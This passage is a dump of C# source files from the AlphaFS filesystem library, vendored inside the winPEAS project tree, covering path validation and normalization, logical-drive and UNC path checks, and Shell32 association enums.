the file or directory. /// true also checks for ? and * characters. /// When false, throws an . [SecurityCritical] private static void CheckInvalidPathChars(string path, bool checkAdditional, bool allowEmpty) { if (null == path) throw new ArgumentNullException("path"); if (!allowEmpty && (path.Trim().Length == 0 || Utils.IsNullOrWhiteSpace(path))) throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, "path"); // Will fail on a Unicode path. var pathRp = GetRegularPathCore(path, GetFullPathOptions.None, allowEmpty); // Handle "\\?\GlobalRoot\" and "\\?\Volume" prefixes. if (pathRp.StartsWith(GlobalRootPrefix, StringComparison.OrdinalIgnoreCase)) pathRp = pathRp.ReplaceIgnoreCase(GlobalRootPrefix, string.Empty); if (pathRp.StartsWith(VolumePrefix, StringComparison.OrdinalIgnoreCase)) pathRp = pathRp.ReplaceIgnoreCase(VolumePrefix, string.Empty); for (int index = 0, l = pathRp.Length; index < l; ++index) { int num = pathRp[index]; switch (num) { case 34: // " (quote) case 60: // < (less than) case 62: // > (greater than) case 124: // | (pipe) throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Illegal_Characters_In_Path, (char) num), "path"); default: // 32: space if (num >= 32 && (!checkAdditional || num != WildcardQuestionChar && num != WildcardStarMatchAllChar)) continue; goto case 34; } } } [SecurityCritical] internal static string GetCleanExceptionPath(string path) { return GetRegularPathCore(path, GetFullPathOptions.None, true).TrimEnd(DirectorySeparatorChar, WildcardStarMatchAllChar); } /// Gets the path as a long full path. /// The path as an extended length path. /// /// /// The transaction. /// The path to convert. /// The path format to use. /// Options for controlling the operation. Note that on .NET 3.5 the TrimEnd option has no effect. [SecurityCritical] internal static string GetExtendedLengthPathCore(KernelTransaction transaction, string path, PathFormat pathFormat, GetFullPathOptions options) { if (null == path) return null; switch (pathFormat) { case PathFormat.LongFullPath: if (options != GetFullPathOptions.None) { // If pathFormat equals LongFullPath it is possible that the trailing backslashg ('\') is not added or removed. // Prevent that. options &= ~GetFullPathOptions.CheckAdditional; options &= ~GetFullPathOptions.CheckInvalidPathChars; options &= ~GetFullPathOptions.FullCheck; options &= ~GetFullPathOptions.TrimEnd; path = ApplyFullPathOptions(path, options); } return path; case PathFormat.FullPath: return GetLongPathCore(path, GetFullPathOptions.None); case PathFormat.RelativePath: #if NET35 // .NET 3.5 the TrimEnd option has no effect. options = options & ~GetFullPathOptions.TrimEnd; #endif return GetFullPathCore(transaction, false, path, GetFullPathOptions.AsLongPath | options); default: throw new ArgumentException("Invalid value: " + pathFormat, "pathFormat"); } } [SecurityCritical] internal static int GetRootLength(string path, bool checkInvalidPathChars) { if (checkInvalidPathChars) CheckInvalidPathChars(path, false, false); var index = 0; var length = path.Length; if (length >= 1 && IsDVsc(path[0], false)) { index = 1; if (length >= 2 && IsDVsc(path[1], false)) { index = 2; var num = 2; while (index < length && (!IsDVsc(path[index], false) || --num > 0)) ++index; } } else if (length >= 2 && IsDVsc(path[1], true)) { index = 2; if (length >= 3 && IsDVsc(path[2], false)) ++index; } return index; } /// Check if is a directory- and/or volume-separator character. /// true if is a separator character. /// The character to check. /// /// If null, checks for all separator characters: , /// and /// If false, only checks for: and /// If true only checks for: /// [SecurityCritical] internal static bool IsDVsc(char c, bool? checkSeparatorChar) { return checkSeparatorChar == null // Check for all separator characters. ? c == DirectorySeparatorChar || c == AltDirectorySeparatorChar || c == VolumeSeparatorChar // Check for some separator characters. : ((bool) checkSeparatorChar ? c == VolumeSeparatorChar : c == DirectorySeparatorChar || c == AltDirectorySeparatorChar); } [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] [SuppressMessage("Microsoft.Performance", "CA1809:AvoidExcessiveLocals")] private static string NormalizePath(string path, GetFullPathOptions options) { var newBuffer = new StringBuilder(NativeMethods.MaxPathUnicode); var index = 0; uint numSpaces = 0; uint numDots = 0; var fixupDirectorySeparator = false; // Number of significant chars other than potentially suppressible dots and spaces since the last directory or volume separator char. uint numSigChars = 0; // Index of last significant character. var lastSigChar = -1; // Whether this segment of the path (not the complete path) started with a volume separator char. Reject "c:...". var startedWithVolumeSeparator = false; var firstSegment = true; var lastDirectorySeparatorPos = 0; // LEGACY: This code is here for backwards compatibility reasons. // It ensures that "\\foo.cs\bar.cs" stays "\\foo.cs\bar.cs" instead of being turned into "\foo.cs\bar.cs". if (path.Trim().Length > 0 && (path[0] == DirectorySeparatorChar || path[0] == AltDirectorySeparatorChar)) { newBuffer.Append(DirectorySeparatorChar); index++; lastSigChar = 0; } // Normalize the string, stripping out redundant dots, spaces, and slashes. while (index < path.Length) { var currentChar = path[index]; // We handle both directory separators and dots specially. For // directory separators, we consume consecutive appearances. // For dots, we consume all dots beyond the second in // succession. All other characters are added as is. In // addition we consume all spaces after the last other char // in a directory name up until the directory separator. if (currentChar == DirectorySeparatorChar || currentChar == AltDirectorySeparatorChar) { // If we have a path like "123.../foo", remove the trailing dots. // However, if we found "c:\temp\..\bar" or "c:\temp\...\bar", do not. // Also remove trailing spaces from both files & directory names. // This was agreed on with the OS team to fix undeletable directory // names ending in spaces. // If we saw a '\' as the previous last significant character and // are simply going to write out dots, suppress them. // If we only contain dots and slashes though, only allow // a string like [dot]+ [space]*. Ignore everything else. // Legal: "\.. \", "\...\", "\. \" // Illegal: "\.. .\", "\. .\", "\ .\" if (numSigChars == 0) { // Dot and space handling. if (numDots > 0) { newBuffer.Append(NormalizePathDotSpaceHandler(path, lastSigChar, numDots, startedWithVolumeSeparator)); fixupDirectorySeparator = false; // Continue in this case, potentially writing out '\'. } if (numSpaces > 0 && firstSegment) { // Handle strings like " \\server\share". if (index + 1 < path.Length && (path[index + 1] == DirectorySeparatorChar || path[index + 1] == AltDirectorySeparatorChar)) newBuffer.Append(DirectorySeparatorChar); } } numDots = 0; numSpaces = 0; // Suppress trailing spaces if (!fixupDirectorySeparator) { fixupDirectorySeparator = true; newBuffer.Append(DirectorySeparatorChar); } numSigChars = 0; lastSigChar = index; startedWithVolumeSeparator = false; firstSegment = false; var thisPos = newBuffer.Length - 1; if (thisPos - lastDirectorySeparatorPos - 1 > NativeMethods.MaxDirectoryLength) throw new PathTooLongException(path); lastDirectorySeparatorPos = thisPos; } // if (Found directory separator) else switch (currentChar) { case CurrentDirectoryPrefixChar: // Reduce only multiple .'s only after slash to 2 dots. For // instance a...b is a valid file name. numDots++; // Don't flush out non-terminal spaces here, because they may in // the end not be significant. Turn "c:\ . .\foo" -> "c:\foo" // which is the conclusion of removing trailing dots & spaces, // as well as folding multiple '\' characters. break; case ' ': numSpaces++; break; default: // Normal character logic fixupDirectorySeparator = false; // To reject strings like "C:...\foo" and "C :\foo" if (firstSegment && currentChar == VolumeSeparatorChar) { // Only accept "C:", not "c :" or ":" // Get a drive letter or ' ' if index is 0. var driveLetter = index > 0 ? path[index - 1] : ' '; var validPath = numDots == 0 && numSigChars >= 1 && driveLetter != ' '; if (!validPath) throw new ArgumentException(path, "path"); startedWithVolumeSeparator = true; // We need special logic to make " c:" work, we should not fix paths like " foo::$DATA" if (numSigChars > 1) { // Common case, simply do nothing. var spaceCount = 0; // How many spaces did we write out, numSpaces has already been reset. while (spaceCount < newBuffer.Length && newBuffer[spaceCount] == ' ') spaceCount++; if (numSigChars - spaceCount == 1) { newBuffer.Length = 0; newBuffer.Append(driveLetter); // Overwrite spaces, we need a special case to not break " foo" as a relative path. } } numSigChars = 0; } else numSigChars += 1 + numDots + numSpaces; // Copy any spaces & dots since the last significant character to here. // Note we only counted the number of dots & spaces, and don't know what order they're in. Hence the copy. if (numDots > 0 || numSpaces > 0) { var numCharsToCopy = lastSigChar >= 0 ? index - lastSigChar - 1 : index; if (numCharsToCopy > 0) { for (var i = 0; i < numCharsToCopy; i++) newBuffer.Append(path[lastSigChar + 1 + i]); } numDots = 0; numSpaces = 0; } newBuffer.Append(currentChar); lastSigChar = index; break; } index++; } if (newBuffer.Length - 1 - lastDirectorySeparatorPos > NativeMethods.MaxDirectoryLength) throw new PathTooLongException(path); // Drop any trailing dots and spaces from file & directory names, EXCEPT we MUST make sure that "C:\foo\.." is correctly handled. // Also handle "C:\foo\." -> "C:\foo", while "C:\." -> "C:\" if (numSigChars == 0) { // Dot and space handling. if (numDots > 0) newBuffer.Append(NormalizePathDotSpaceHandler(path, lastSigChar, numDots, startedWithVolumeSeparator)); } // If we ended up eating all the characters, bail out. if (newBuffer.Length == 0) throw new ArgumentException(path, "path"); // Disallow URL's here. Some of our other Win32 API calls will reject them later, so we might be better off rejecting them here. // Note we've probably turned them into "file:\D:\foo.tmp" by now. // But for compatibility, ensure that callers that aren't doing a full check aren't rejected here. if ((options & GetFullPathOptions.FullCheck) != 0) { var newBufferString = newBuffer.ToString(); if (newBufferString.StartsWith(Uri.UriSchemeHttp + ":", StringComparison.OrdinalIgnoreCase) || newBufferString.StartsWith(Uri.UriSchemeFile + ":", StringComparison.OrdinalIgnoreCase)) throw new ArgumentException(path, "path"); } // Call the Win32 API to do the final canonicalization step. const int result = 1; // Throw an ArgumentException for paths like \\, \\server, \\server\ // This check can only be properly done after normalizing, so // \\foo\.. will be properly rejected. // Also, reject \\?\GLOBALROOT\ (an internal kernel path) because it provides aliases for drives. if (newBuffer.Length > 1 && newBuffer[0] == DirectorySeparatorChar && newBuffer[1] == DirectorySeparatorChar) { var startIndex = 2; while (startIndex < result) { if (newBuffer[startIndex] == DirectorySeparatorChar) { startIndex++; break; } startIndex++; } if (startIndex == result) throw new ArgumentException(path, "path"); } return newBuffer.ToString(); } /// Dot and space handling. private static StringBuilder NormalizePathDotSpaceHandler(string path, int lastSigChar, uint numDots, bool startedWithVolumeSeparator) { var newBuffer = new StringBuilder(NativeMethods.MaxPathUnicode); // Look for ".[space]*" or "..[space]*". var start = lastSigChar + 1; if (path[start] != CurrentDirectoryPrefixChar) throw new ArgumentException(path, "path"); // Only allow "[dot]+[space]*", and normalize the legal ones to "." or "..". if (numDots >= 2) { // Reject "C:...". if (startedWithVolumeSeparator && numDots > 2) throw new ArgumentException(path, "path"); if (path[start + 1] == CurrentDirectoryPrefixChar) { // Search for a space in the middle of the dots and throw. for (var i = start + 2; i < start + numDots; i++) { if (path[i] != CurrentDirectoryPrefixChar) throw new ArgumentException(path, "path"); } numDots = 2; } else { if (numDots > 1) throw new ArgumentException(path, "path"); numDots = 1; } } if (numDots == 2) newBuffer.Append(CurrentDirectoryPrefixChar); newBuffer.Append(CurrentDirectoryPrefixChar); return newBuffer; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsLogicalDrive.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Checks if is in a logical drive format, such as "C:", "D:". /// true when is in a logical drive format, such as "C:", "D:". /// /// /// The absolute path to check. public static bool IsLogicalDrive(string path) { return IsLogicalDriveCore(path, false, PathFormat.FullPath); } /// [AlphaFS] Checks if is in a logical drive format, such as "C:", "D:". /// true when is in a logical drive format, such as "C:", "D:". /// /// /// The absolute path to check. /// true indicates the path is already a regular path. /// Indicates the format of the path parameter(s). internal static bool IsLogicalDriveCore(string path, bool isRegularPath, PathFormat pathFormat) { if (pathFormat != PathFormat.LongFullPath) { if (Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); CheckSupportedPathFormat(path, true, true); } if (!isRegularPath) path = GetRegularPathCore(path, GetFullPathOptions.None, false); var regularPath = path.StartsWith(LogicalDrivePrefix, StringComparison.OrdinalIgnoreCase) ? path.Substring(LogicalDrivePrefix.Length) : path; var c = regularPath.ToUpperInvariant()[0]; // Don't use char.IsLetter() here as that can be misleading; The only valid drive letters are: A-Z. return regularPath[1] == VolumeSeparatorChar && c >= 'A' && c <= 'Z'; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsLongPath.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Determines whether the specified path starts with a or . /// true if the specified path has a long path (UNC) prefix, false otherwise. /// The path to the file or directory. [SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")] [SecurityCritical] public static bool IsLongPath(string path) { return !Utils.IsNullOrWhiteSpace(path) && (path.StartsWith(LongPathUncPrefix, StringComparison.OrdinalIgnoreCase) || path.StartsWith(LongPathPrefix, StringComparison.Ordinal)); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsPathRooted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Gets a value indicating whether the specified path string contains absolute or relative path information. /// true if contains a root; otherwise, false. /// /// The IsPathRooted method returns true if the first character is a directory separator character such as /// , or if the path starts with a drive letter and colon (). /// For example, it returns true for path strings such as "\\MyDir\\MyFile.txt", "C:\\MyDir", or "C:MyDir". /// It returns false for path strings such as "MyDir". /// /// This method does not verify that the path or file name exists. /// /// /// The path to test. The path cannot contain any of the characters defined in . [SecurityCritical] public static bool IsPathRooted(string path) { return IsPathRootedCore(path, true); } #endregion // .NET /// [AlphaFS] Gets a value indicating whether the specified path string contains absolute or relative path information. /// true if contains a root; otherwise, false. /// /// The IsPathRooted method returns true if the first character is a directory separator character such as /// , or if the path starts with a drive letter and colon (). /// For example, it returns true for path strings such as "\\MyDir\\MyFile.txt", "C:\\MyDir", or "C:MyDir". /// It returns false for path strings such as "MyDir". /// /// This method does not verify that the path or file name exists. /// /// /// The path to test. The path cannot contain any of the characters defined in . /// true will check for invalid path characters. [SecurityCritical] public static bool IsPathRooted(string path, bool checkInvalidPathChars) { return IsPathRootedCore(path, checkInvalidPathChars); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsUncPath.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Determines if a path string is a valid Universal Naming Convention (UNC) path. /// true if the specified path is a Universal Naming Convention (UNC) path, false otherwise. /// The path to check. [SecurityCritical] public static bool IsUncPath(string path) { return IsUncPathCore(path, false, true); } /// Determines if a path string is a valid Universal Naming Convention (UNC) path, optionally skip invalid path character check. /// true if the specified path is a Universal Naming Convention (UNC) path, false otherwise. /// The path to check. /// true will check for invalid path characters. [SecurityCritical] internal static bool IsUncPath(string path, bool checkInvalidPathChars) { return IsUncPathCore(path, false, checkInvalidPathChars); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsValidName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Check if file or folder name has any invalid characters. /// /// File or folder name. /// true if name contains any invalid characters. Otherwise false public static bool IsValidName(string name) { if (null == name) throw new ArgumentNullException("name"); return name.IndexOfAny(GetInvalidFileNameChars()) < 0; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.LocalToUnc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Net.NetworkInformation; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region Obsolete /// [AlphaFS] Converts a local path to a network share path, optionally returning it as a long path format and the ability to add or remove a trailing backslash. /// A Local path, e.g.: "C:\Windows" or "C:\Windows\" will be returned as: "\\localhost\C$\Windows". /// If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing character. /// /// On successful conversion a UNC path is returned. /// If the conversion fails, is returned. /// If is an empty string or null, null is returned. /// /// /// /// /// A local path, e.g.: "C:\Windows". /// Indicates the format of the path parameter. /// Options for controlling the full path retrieval. //[Obsolete] //[SecurityCritical] //public static string LocalToUnc(string localPath, PathFormat pathFormat, GetFullPathOptions fullPathOptions) //{ // return LocalToUncCore(localPath, fullPathOptions, pathFormat); //} #endregion // Obsolete /// [AlphaFS] Converts a local path to a network share path. /// A Local path, e.g.: "C:\Windows" or "C:\Windows\" will be returned as: "\\localhost\C$\Windows". /// If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing character. /// /// On successful conversion a UNC path is returned. /// If the conversion fails, is returned. /// If is an empty string or null, null is returned. /// /// /// /// /// A local path, e.g.: "C:\Windows". //[SecurityCritical] //public static string LocalToUnc(string localPath) //{ // return LocalToUncCore(localPath, GetFullPathOptions.None, PathFormat.RelativePath); //} /// [AlphaFS] Converts a local path to a network share path. /// A Local path, e.g.: "C:\Windows" or "C:\Windows\" will be returned as: "\\localhost\C$\Windows". /// If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing character. /// /// On successful conversion a UNC path is returned. /// If the conversion fails, is returned. /// If is an empty string or null, null is returned. /// /// /// /// /// A local path, e.g.: "C:\Windows". ///// Indicates the format of the path parameter. //[SecurityCritical] //public static string LocalToUnc(string localPath, PathFormat pathFormat) //{ // return LocalToUncCore(localPath, GetFullPathOptions.None, pathFormat); //} /// [AlphaFS] Converts a local path to a network share path, optionally returning it as a long path format and the ability to add or remove a trailing backslash. /// A Local path, e.g.: "C:\Windows" or "C:\Windows\" will be returned as: "\\localhost\C$\Windows". /// If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing character. /// /// On successful conversion a UNC path is returned. /// If the conversion fails, is returned. /// If is an empty string or null, null is returned. /// /// /// /// /// A local path, e.g.: "C:\Windows". /// Options for controlling the full path retrieval. //[SecurityCritical] //public static string LocalToUnc(string localPath, GetFullPathOptions fullPathOptions) //{ // return LocalToUncCore(localPath, fullPathOptions, PathFormat.RelativePath); //} /// [AlphaFS] Converts a local path to a network share path, optionally returning it as a long path format and the ability to add or remove a trailing backslash. /// A Local path, e.g.: "C:\Windows" or "C:\Windows\" will be returned as: "\\localhost\C$\Windows". /// If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing character. /// /// On successful conversion a UNC path is returned. /// If the conversion fails, is returned. /// If is an empty string or null, null is returned. /// /// /// /// /// A local path, e.g.: "C:\Windows". /// Indicates the format of the path parameter. /// Options for controlling the full path retrieval. //[SecurityCritical] //public static string LocalToUnc(string localPath, GetFullPathOptions fullPathOptions, PathFormat pathFormat) //{ // return LocalToUncCore(localPath, fullPathOptions, pathFormat); //} } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.RemoveTrailingDirectorySeparator.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Removes the trailing character from the string, when present. /// A text string where the trailing character has been removed. The function returns null when is null. /// A text string from which the trailing is to be removed, when present. [SecurityCritical] public static string RemoveTrailingDirectorySeparator(string path) { return RemoveTrailingDirectorySeparatorCore(path, false); } /// [AlphaFS] Removes the trailing or character from the string, when present. /// A text string where the trailing or character has been removed. The function returns null when is null. /// A text string from which the trailing or is to be removed, when present. /// If true the trailing character will be removed instead. [SecurityCritical] public static string RemoveTrailingDirectorySeparator(string path, bool removeAlternateSeparator) { return RemoveTrailingDirectorySeparatorCore(path, removeAlternateSeparator); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Performs operations on String instances that contain file or directory path information. These operations are performed in a cross-platform manner. public static partial class Path { // This file only exists for the documentation. } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Shell32.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { /// Provides access to a file system object, using Shell32. public static class Shell32 { /// Provides information for the IQueryAssociations interface methods, used by Shell32. [Flags] public enum AssociationAttributes { /// None. None = 0, /// Instructs not to map CLSID values to ProgID values. InitNoRemapClsid = 1, /// Identifies the value of the supplied file parameter (3rd parameter of function GetFileAssociation()) as an executable file name. /// If this flag is not set, the root key will be set to the ProgID associated with the .exe key instead of the executable file's ProgID. InitByExeName = 2, /// Specifies that when an IQueryAssociation method does not find the requested value under the root key, it should attempt to retrieve the comparable value from the * subkey. InitDefaultToStar = 4, /// Specifies 